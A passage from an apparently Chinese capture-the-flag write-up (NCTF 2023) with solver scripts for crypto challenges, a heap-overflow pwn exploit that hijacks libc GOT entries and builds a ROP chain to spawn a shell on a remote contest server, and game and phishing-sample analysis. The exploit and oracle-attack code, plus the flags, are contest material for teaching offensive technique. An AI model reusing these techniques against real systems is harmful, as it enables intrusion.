    fx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
          0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
    gx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
          0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
    hx = [292, 374, 91, 384, 263, 330, 77, 497, 294, 141, 485, 464, 46, 478, 315, 100, 287, 1, 337, 477, 451, 387, 340, 370, 384, 19, 158, 440, 377, 177, 235, 340, 166, 359, 488, 332, 252, 443, 256, 453, 33, 282, 175, 18, 218, 208, 414, 147, 12, 468, 155, 34, 109, 390, 312, 472, 345, 176, 9, 184, 100, 414, 293, 366, 132, 128, 223, 242, 137, 223, 268, 259, 446, 57, 463, 344, 459, 115, 509, 510, 82, 42, 408, 139, 341, 351, 511, 339, 317, 139, 317, 297, 288, 58, 33, 120, 244, 194, 44, 128, 278, 130, 449, 282, 274, 376, 209, 240, 148, 426, 244, 319, 251, 438, 317, 166, 161, 37, 361, 468, 172, 116, 211, 64, 446, 162, 301, 447, 92, 325, 285, 4, 8, 160, 382, 365, 413, 150, 141, 323, 107, 225, 466, 93, 86, 219, 174, 198, 155, 88, 194, 259, 140, 36, 82, 462, 182, 496, 250, 337, 39, 435, 448, 365, 262, 146, 89, 283, 195, 395, 216, 159, 312, 53, 70, 485, 368, 130, 491, 474, 325, 4, 205, 1, 292, 330, 186, 66, 137, 291, 452, 236, 25, 114, 407, 125, 343, 2, 304, 267, 459, 432, 129, 21, 197, 51, 26, 342, 457, 163, 51, 52, 82, 229, 332, 72, 408, 242, 218, 286, 368, 503, 498, 434, 135, 311, 321, 205, 269, 318, 19, 119, 422, 425, 463, 368, 317, 99, 178, 390, 8, 127, 156, 27, 332, 437, 87, 187, 92, 115, 380, 54, 236,
          287, 259, 386, 391, 94, 312, 454, 459, 340, 382, 424, 25, 318, 47, 249, 115, 20, 89, 82, 377, 328, 231, 298, 402, 336, 452, 264, 265, 83, 254, 156, 449, 34, 99, 412, 101, 183, 38, 142, 231, 181, 495, 6, 327, 278, 92, 452, 372, 12, 91, 102, 277, 98, 418, 22, 32, 493, 50, 374, 230, 479, 496, 6, 382, 300, 496, 157, 1, 221, 418, 381, 275, 391, 199, 472, 5, 222, 448, 377, 102, 468, 94, 35, 6, 6, 464, 452, 453, 354, 277, 425, 120, 501, 172, 222, 314, 362, 6, 105, 387, 77, 14, 112, 289, 358, 495, 350, 411, 378, 30, 89, 115, 171, 42, 32, 427, 125, 420, 486, 435, 151, 234, 416, 428, 425, 250, 142, 301, 245, 154, 338, 223, 292, 27, 194, 220, 34, 283, 255, 53, 5, 420, 134, 351, 216, 92, 242, 39, 454, 96, 239, 390, 182, 368, 463, 176, 187, 25, 122, 441, 54, 171, 426, 435, 318, 345, 166, 224, 258, 246, 349, 50, 400, 381, 236, 315, 439, 249, 201, 262, 95, 210, 327, 199, 205, 402, 175, 280, 337, 388, 205, 336, 52, 68, 364, 293, 462, 388, 354, 169, 163, 72, 374, 220, 355, 275, 36, 208, 198, 363, 369, 344, 61, 13, 230, 196, 190, 463, 351, 37, 276, 336, 110, 352, 56, 117, 376, 500, 373, 438, 309, 496, 400, 76, 169, 447, 434, 255, 456, 511, 414, 83, 369, 174, 291, 213, 227, 254, 186, 145, 402, 265, 13, 20, 212, 442]
    e = [219, 149, 491, 115, 68, 464, 91, 223, 480, 506, 103, 373, 19, 52, 368, 467, 304, 380, 495, 372, 506, 318, 320, 263, 120, 126, 165, 271, 435, 378, 443, 261, 336, 381, 57, 360, 36, 155, 424, 458, 84, 80, 187, 261, 501, 279, 167, 13, 241, 85, 214, 133, 483, 374, 430, 401, 265, 127, 497, 405, 60, 34, 81, 422, 423, 200, 276, 424, 245, 437, 31, 193, 282, 154, 93, 13, 499, 190, 1, 304, 415, 189, 82, 472, 13, 488, 366, 364, 319, 121, 322, 120, 468, 134, 305, 228, 288, 284, 33, 430, 125, 366, 212, 207, 227, 201, 286, 377, 376, 57, 336, 379, 101, 461, 375, 101, 475, 126, 306, 73, 88, 1, 149, 378, 381, 129, 402, 341, 390, 57, 305, 139, 436, 101, 386, 460, 43, 468, 9, 449, 255, 184, 374, 466, 429, 167, 101, 247, 183, 159, 346, 45, 79, 192, 259, 32, 140, 151, 16, 214, 42, 450, 111, 7, 303, 286, 435, 491, 339, 248, 114, 185, 103, 81, 414, 100, 485, 428, 137, 13, 243, 202, 62, 208, 136, 376, 88, 158, 377, 404, 355, 194, 452, 373, 107, 290, 89, 489, 259, 462, 169, 235, 86, 214, 333, 472, 343, 487, 19, 371, 203, 234, 315, 339, 430, 133, 96, 161, 278, 13, 20, 87, 303, 466, 353, 139, 395, 131, 298, 85, 144, 244, 150, 488, 254, 284, 89, 300, 297, 288, 245, 439, 307, 222, 110, 343, 318, 202, 429, 81, 203, 468, 144, 140,
         480, 370, 501, 14, 490, 278, 493, 390, 214, 108, 174, 150, 287, 197, 497, 374, 420, 298, 222, 188, 146, 298, 466, 459, 456, 16, 131, 253, 153, 481, 342, 498, 173, 12, 452, 197, 233, 18, 439, 332, 185, 48, 330, 4, 99, 105, 75, 306, 174, 492, 131, 39, 126, 491, 79, 145, 186, 493, 23, 230, 195, 118, 310, 173, 244, 80, 25, 502, 373, 457, 275, 282, 26, 206, 14, 181, 61, 391, 454, 417, 370, 70, 413, 389, 434, 400, 88, 417, 364, 458, 496, 425, 12, 280, 102, 265, 471, 43, 257, 327, 10, 334, 239, 344, 77, 298, 140, 287, 260, 194, 431, 65, 304, 302, 210, 393, 473, 463, 312, 255, 368, 476, 462, 390, 412, 266, 138, 410, 246, 101, 460, 307, 123, 4, 240, 502, 115, 147, 370, 241, 222, 495, 109, 51, 138, 354, 447, 282, 434, 280, 275, 404, 214, 68, 77, 167, 302, 95, 462, 16, 184, 213, 227, 130, 50, 405, 30, 353, 24, 143, 100, 163, 212, 388, 283, 252, 187, 247, 190, 163, 252, 169, 267, 363, 72, 399, 195, 215, 103, 60, 466, 318, 71, 193, 449, 65, 358, 443, 260, 253, 46, 5, 416, 115, 390, 15, 120, 384, 50, 122, 87, 428, 282, 464, 83, 80, 401, 8, 175, 457, 301, 63, 205, 402, 468, 368, 510, 488, 345, 103, 306, 387, 34, 119, 459, 43, 319, 264, 184, 406, 407, 358, 242, 42, 241, 34, 118, 477, 117, 325, 511, 499, 365, 192, 507]

    ntru = NTRU(N=509, p=3, q=512, d=3)
    ntru.setKey(fx, gx)
    m = ntru.decrypt(e)
    a = ""
    flag = [1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1,
            1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1]
    for i in flag:
        if i < 0:
            break
        a += str(i)
    a = int(a, 2)

    print(long_to_bytes(a))
# b'NCTF{0e301384-a06c-11ee-959d-b39f60b9e252}'

Code

一开始不知道椭圆曲线参数，找到基本原题：https://github.com/sajjadium/ctf-archives/blob/404a90a81cc649d39a661f65ac8afd61d6acb02d/ctfs/LakeCTF/2023/Quals/crypto/KeySharer/chal.py#L74，猜测出题人应该没换曲线，就用了NISP 192-P 的参数试着打了一下，后半部分对四个点先分别求解 dlp，后通过 CRT 求出 PK 即可。

import math
from pwn import *
from itertools import product
import string
from Crypto.Cipher import AES
from hashlib import sha256
from random import getrandbits
from ast import literal_eval
from Crypto.Util.number import *
context(log_level='debug')
table = string.ascii_letters+string.digits
io=remote('115.159.221.202','11112')
io.recvuntil(b"sha256(XXXX+")
alphabet = string.ascii_letters + string.digits
lattar_part=io.recv(16).decode('utf8')
io.recvuntil(b'== ')
h=io.recvline().strip().decode('utf8')
print(lattar_part,h)
io.recvuntil(b'[+] Plz tell me XXXX:')


bruteforce=[ ''.join(prefix)+lattar_part  for prefix in product(alphabet,repeat=4)]
for proof in bruteforce:
    if sha256(proof.encode()).hexdigest()==h:
        io.sendline(proof.encode()[:4])
        print("proof done")


io.recvuntil(b'secret is ')
secret=io.recvline()
print(secret)
io.recvuntil(b'public key is ')
alice=io.recvline()
print(alice)
# alice=(5004848802772206961858660797854121422910786666485134907201,3293398268646783779018537430911795294180825762740220781587)
io.recv()
p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
a = 0xfffffffffffffffffffffffffffffffefffffffffffffffc
b = 0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1
primes = []
logs = []
bs = []
while len(bs) < 4:
    b = randint(1, p)
    E = EllipticCurve(GF(p), [a, b])
    order = E.order()
    factors = prime_factors(order)
    small_factors = []
    for factor in factors:
        if factor <= 2 ** 30:
            small_factors.append(factor)
    prod = Integer(math.prod(small_factors))
    if prod.nbits() < 48:  # we need 192 bits in 4 payloads
        continue
    print('Found decent curve with b=', b)
    bs.append(b)
    G = E.gen(0) * int(order / prod)
    print(G)
    io.sendline(str(G[0]).encode())
    # send(s, str(G[0]))
    io.recvline()
    io.sendline(str(G[1]).encode())
    io.recvline()
    Q0=io.recvuntil(b',')[2:-1]
    print(Q0)
    Q1=io.recvuntil(b')')[:-1]
    print(Q1)
    io.recv()
    Q = E(int(Q0), int(Q1))
    log = G.discrete_log(Q)
    print(f"DL found: {log}")
    for prime in small_factors:
        primes.append(prime)
        logs.append(log % prime)
PK = CRT_list(logs, primes)
print(PK)
print(secret)
secret="394e2b257b1f954a40d1e01e5c434b122c421799228c004bd8852d0c431469ad2147901450dddf3d55e3b4262083a2a6"
PK=5381741412404050694156647445378805190277637284892179717390
key = long_to_bytes(PK)[:16]
Cipher = AES.new(key, AES.MODE_ECB)
secret=bytes.fromhex(secret)
enc = Cipher.decrypt(secret)
print(enc)
# b'NCTF{ca93509d-9ecf-11ee-9b92-b025aa41becb}\x00\x00\x00\x00\x00\x00'

Steins Gate

按着 hitcon 的 careless padding 的脚本硬改的，当时队内另一个师傅就是手爆的，并且没用到已知的 iv 和明文。此题与那题的区别也在于此，一是不知道了 v 和第一块明文分组，二是对 m 的 pad 方式发生了改变。

整体思路与 careless padding 相似。通过构造一个偏移来使得服务端解密得到的明文每一位全一样，偏移是脚本中的 iv 变量，发送给服务端的 iv 进行解密的是 iv1。具体从末两位开始爆破。通过回显我们可以知道是否攻击成功，以此类推得到这个偏移。本地测试时使用了两个 256 循环，但是打远程发现时间完全不够，因此对外层循环做了处理，通过每一轮得到的 2 位 iv，一位作为 pre 预测位，该位的真实值在 pre 附近，因此节省了爆破时间。

现在已知明文的每一位都一样，接下来遍历所有明文情况，再与 iv 进行异或就得到了 flag。

以下代码需手动爆破 3 段 flag。

from Crypto.Util.number import *
from pwn import *
import math
from pwn import *
from tqdm import tqdm
from itertools import product
import string
from Crypto.Cipher import AES
from hashlib import sha256
from random import getrandbits
from ast import literal_eval
from Crypto.Util.number import *
from string import printable


io = remote("115.159.221.202", "11111")
# io = remote("127.0.0.1","10002")
# io=process(['python','./hit.py'])
# context(log_level='debug')
table = string.ascii_letters+string.digits
#
io.recvuntil(b"sha256(XXXX+")
alphabet = string.ascii_letters + string.digits
lattar_part=io.recv(16).decode('utf8')
io.recvuntil(b'== ')
h=io.recvline().strip().decode('utf8')
print(lattar_part,h)
io.recvuntil(b'[+] Plz tell me XXXX:')

#
bruteforce=[ ''.join(prefix)+lattar_part  for prefix in product(alphabet,repeat=4)]
for proof in bruteforce:
    if sha256(proof.encode()).hexdigest()==h:
        io.sendline(proof.encode()[:4])
        print("proof done")

# #


def check(c):
    io.sendline(c.encode())
    res = io.recvuntil(b'Try unlock:').decode()
    if "Bad key... do you even try?" in res:
        return True
    elif "Don't put that weirdo in me!" in res:
        return False
    else:
        # print(res)
        # print(c)
        return "final"



res = io.recvuntil(b'Try unlock:').decode()
print(res)
enc_key = re.findall(r'encrypted key:([0-9a-f]+)', res)[0]
enc=enc_key
iv0 = int(enc[0*32:1 * 32], 16)
enc0 = enc[1 * 32:(1 + 1) * 32]

wyk="6533646060646a3663"
pre="3e"
first=['62','63']

for aa in range(9,13):
    print(aa)
    if aa==1:
        wyk=first[1]
    ff=0
    # 40-60,90-105
    for i in tqdm(range(50,60)):
        for j in (range(256)):
            k0 = "{:02x}".format(i)
            k1 = "{:02x}".format(j)
            iv=(28-2*aa)*'1'+k1+k0+wyk
            iv1= "{:032x}".format(int(iv,16)^iv0)
            if check(iv1 + enc0) == True:
                if aa==0:
                    print(aa)
                    first.append(iv[-2:])

                if aa!=0 and k0==pre:
                    continue

                pre=iv[-(aa+2)*2:-(aa+1)*2]
                # #
                #
                print(iv)
                if aa>0:
                    wyk=iv[-(aa+1)*2:]
                    ff=1
            if ff==1:
                break
        if ff==1:
            break

# wyk="151017464441114341420e454a"
# pre="42"
# wyk="4c1b4a1e181e484b4f194f1b1d"
# wyk="4d1a4b1f191f494a4e184e1a1c"
for i in range(256):
    k0 = "{:02x}".format(i)
    iv = 4 * '1'+k0+wyk
    iv1= "{:032x}".format(int(iv,16)^iv0)
    if check(iv1 + enc0) == True:
        # print(iv)
        # if k0==pre:
        #     continue
        x='11'+k0+wyk
        print("1dasdsads",x)
wyk=x

# wyk="11424c1b4a1e181e484b4f194f1b1d"
for i in tqdm(range(256)):
    k0 = "{:02x}".format(i)
    iv = k0+wyk
    iv1 = "{:032x}".format(int(iv, 16) ^ iv0)
    if check(iv1 + enc0) == 'final':
        print(iv)

        tmp=int(iv,16)
        for x in range(256):
            m = "{:02x}".format(x)
            m*=16
            flag=tmp^int(m,16)
            f=1
            flag=long_to_bytes(flag)
            for i in flag:
                if i not in b'0123456789abcdefghijklmnopqrstuvwxyzNCTF{}':
                    f=0
                    break
            if f==1:
                print(flag)


# i=68:111111111111111111111111110d444b
# i=15:111111111111111111111111410f444b
# i=67:111111111111111111111142430f444b
# i=64:111111111111111111114040430f444b
# i=66:111111111111111111124240430f444b
# i=16:111111111111111142104240430f444b
# i=64:111111111111114740104240430f444b
# i=69:111111111111454540104240430f444b
# i=71:111111111114474540104240430f444b
# i=22:111111111316474540104240430f444b
# i=17:111111161116474540104240430f444b
# i=20:111149141116474540104240430f444b
# wyk="114a141116474540104240430f444b"
# wyk="114a151017464441114341420e454a"
# ab9fcd572b021}69

# i=27 11111111111111111111111111411b1d
# i=79 111111111111111111111111174f1b1d
# i=25 111111111111111111111141194f1b1d
# i=79 11111111111111111111454f194f1b1d
# i=75 111111111111111111464b4f194f1b1d
# i=72 111111111111111110484b4f194f1b1d
# i=30 11111111111111161e484b4f194f1b1d
# i=24 11111111111110181e484b4f194f1b1d
# i=30 1111111111441e181e484b4f194f1b1d
# i=74 11111111154a1e181e484b4f194f1b1d
# i=27 111111421b4a1e181e484b4f194f1b1d
# i=76 1111424c1b4a1e181e484b4f194f1b1d

# 69ee2c717abf0f24
# b'69ee2c717abf0f24'
# b'ej66a0dbd215c5ag'
# b'cl00g6bdb473e3ga'

# i=54  11111111111111111111111111673663
# i=106 111111111111111111111111696a3663
# i=100 11111111111111111111116d646a3663
# i=96  111111111111111111116d60646a3663
# i=96  111111111111111111696060646a3663
# i=100 11111111111111113e646060646a3663
# i=55  111111111111116833646060646a3663
# i=101 1111111111113e6533646060646a3663
# i=51  11111111113e336533646060646a3663
# i=51  111111112433336533646060646a3663
# NCTF{aa7a62268d1
# NCTF{aa7a62268d169ee2c717abf0f24ab9fcd572b021}

Pwn

npointment

add 里面有个类似 CVE-2023-4911 的溢出, 可以溢出下面 chunk 把 \x00 覆盖掉泄漏地址。最后 libc got hijaking

#!/home/seven/.venv/bin/python3
from pwn import *
# pyright: reportUndefinedVariable=false

context.terminal = ['tmux', 'splitw', '-h']
context.os = 'linux'
context.arch = 'amd64'
context.timeout = 5

debug = 0
if debug:
    io = process('./npointment-release')
else:
    io = remote('8.130.35.16',58001)

libc = ELF('./libc.so.6')

s = '''
'''
def p(script = '0'):
    if debug:
        if script == '0':
            gdb.attach(io, s)
            pause()
        else:
            gdb.attach(io, s + script)
    else:
        pause()

leak = lambda name, address: log.success("{} --> {}".format(name, hex(address)))

def add(size):
    payload = b"add content=date=" + b'a' * (size-5-1)
    io.sendlineafter(b"$ ", payload )

def show():
    io.sendlineafter(b"$ ", b"show ")

def dele(idx):
    io.sendlineafter(b"$ ", b"delete index=%d"%idx)

while True:
    try:
# leak heap
        add(1) # 0
        add(1) # 1
        add(1) # 2
        dele(2)
        dele(1)
        io.sendlineafter(b"$ ", b"add content=" ) #1
        dele(0)
        io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*(2) ) #0 cause #1 corrputed
        show()
        heap_base = u64(io.recvuntil(b'\x55')[-6:] + b'\x00'*2)
        h1 = heap_base >> (9*4)
        h2 = (heap_base >> (6*4)) & 0xfff
        h3 = (heap_base >> (4*4)) & 0xff
        h2 ^= h1
        h3 ^= h2 >> 4
        heap_base = (h1 << 36) | (h2<<24) | (h3 << 16)

        #p()
        #warning("input heap_base")
        #heap_base = int(input(), 16)
        leak("heap_base", heap_base)

# leak libc
        add(1) #2
        add(0x418) #3
        add(0x418) #4
        dele(3)
        dele(4)
        io.sendlineafter(b"$ ", b"add content=" ) #3
        dele(2)
        io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*(2) ) #2 cause #3 corrputed
        show()
        libc.address = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00'*2) - 0x1fdd65

        #p()
        #warning("input libc.address")
        #libc.address = int(input(), 16)
        leak("libc.address", libc.address)

# libc got hijacking
        key = heap_base >> 12

## overwrite wmemset.got with `gets`
        wmemset_got = libc.address + 0x1FE0B8
        add(0x19) #4
        add(1) #5
        add(1) #6
        add(0x50)#7
        dele(7)

        dele(5)
        dele(6)
        dele(4)
        target = wmemset_got - 0x8
        io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6  + p64(target ^ key) ) #4 cause #5 corrputed
        add(1) # 5
#p()
        io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(libc.sym['gets']) ) #6
        success("overwrite wmemset.got with `gets`")

## overwrite strncpy.got with:
        '''
        .text:00000000000D60A8                 pop     rbx
        .text:00000000000D60A9                 pop     rbp
        .text:00000000000D60AA                 pop     r12
        .text:00000000000D60AC                 pop     r13
        .text:00000000000D60AE                 jmp     j_wmemset_0
        '''
        strncpy_got = libc.address + 0x1FE078
        value = libc.address + 0x00000000000D60A8
        target = strncpy_got - 0x8
        add(0x19) #7
        add(1) #8
        add(1) #9
        add(0x60) #10
        dele(10)
        dele(8)
        dele(9)
        dele(7)

        io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6  + p64(target ^ key) )
        add(1)
#p()
        io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(value) )

## overwrite strchrnul.got with:
        '''
        .text:0000000000177D59                 lea     rdi, [rsp+18h]
        .text:0000000000177D5E                 mov     edx, 20h ; ' '
        .text:0000000000177D63                 call    j_strncpy
        '''
        strchrnul_got = libc.address + 0x1FE0C8
        value = libc.address + 0x0000000000177D59
        target = strchrnul_got - 0x8

        add(0x19) #10
        add(1) #11
        add(1) #12
        add(0x70) #13
        dele(13)
        dele(11)
        dele(12)
        dele(10)

        io.sendlineafter(b"$ ", b"add content=date=date=" + b'a'*29+ b'\x00'*6  + p64(target ^ key) )
        add(1)
        #p('b gets\nc')
        io.sendlineafter(b"$ ", b"add content="+ p64(0xdeadc0dedeadbeaf)+p64(value) )
        warning("waiting to send rop")
        pause()
        pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
        bin_sh = libc.address + 0x1c041b
        ret = libc.address + 0x0000000000026a3e # ret
        ROP = flat(
            ret, ret, pop_rdi, bin_sh, libc.sym['system']
        )
        io.sendline(ROP)
        # nctf{npointment-test-flag-fc94ed89}
        io.sendline(b"cat /flag")

    except Exception:
        io.close()
        if debug:
            io = process('./npointment-release')
        else:
            io = remote('8.130.35.16',58001)
    else:
        break

context.log_level = 'debug'
io.interactive()

Misc

Jump For Signin

玩就好了，跳一跳头顶会出现二维码，扫描后是 flag

img

Jump For Flag

上一题的升级版，现在跳跃之后每次只给几个像素

img

猜测可能也是从一个二维码里随机提取几位生成的，扔到 ILSPY 里解包源码，找到像素的生成逻辑CubeGenerator.cs

using UnityEngine;

public class CubeGenerator : MonoBehaviour
{
        public GameObject cube;

        public int[][] cubes_all = new int[961][]
        {
                new int[4] { 13, 100, 3, 1 },
                new int[4] { 2, 100, 4, 1 },
                new int[4] { 8, 100, 10, 1 },
                new int[4] { 19, 100, 16, 0 },
                new int[4] { 28, 100, 20, 1 },
                new int[4] { 21, 100, 6, 0 },
                ... // 剩下的全是像素
        };

        private void Start()
        {
        }

        private void makecube(int x, int y, int z, string col)
        {
                GameObject obj = Object.Instantiate(cube, new Vector3(x, y, z), Quaternion.identity);
                MeshRenderer component = obj.GetComponent<MeshRenderer>();
                if (col == "black")
                {
                        component.material.color = Color.black;
                }
                else
                {
                        component.material.color = Color.white;
                }
                obj.GetComponent<Rigidbody>().AddForce(new Vector3(Random.Range(-10f, 10f), 0f, Random.Range(-10f, 10f)), ForceMode.Impulse);
        }
}

从makecube()能理解每个像素生成都是从上面的cubes_all中获得的，每个数据的四位分别代表 xyz 坐标和黑白，写脚本生成完整的二维码扫描即可

exp.py
from PIL import Image, ImageDraw

# Example array: {x, y, color}
data = [
    [13, 3, 1],
    [2, 4, 1],
    [8, 10, 1],
    [19, 16, 0],
    [28, 20, 1],
    [21, 6, 0],
    [7, 19, 0],
    # 一共应该是961个数据，对应31*31
    # Add more data entries as needed
]

# 找到数据中的最大x和y值
max_x = max(data, key=lambda item: item[0])[0]
max_y = max(data, key=lambda item: item[1])[1]

# 创建一个白色的图像
image = Image.new("1", (max_x + 1, max_y + 1), color=1)

# 在图像上绘制黑色点
for point in data:
    x, y, color = point
    image.putpixel((x, y), color)

# 保存图像
image.save("generated_image.png")

generated_image.png:

img

NCTF2077: jackpot

唉，更新，唉

把附件改后缀为.mht打开，能下载到target.exe，猜测是钓鱼邮件的钓鱼应用，扔到 010 发现是.NET，还是用ILSPY解包得到源码，后一半 flag 直接在3.ps1中可读，查找其他地方都没有可能的 flag，所以研究3.ps1后半段对图片的处理，是从蓝通道和绿通道逐像素进行位运算得到 powershell 的脚本，将 IEX 替换为 Write-Host 输出

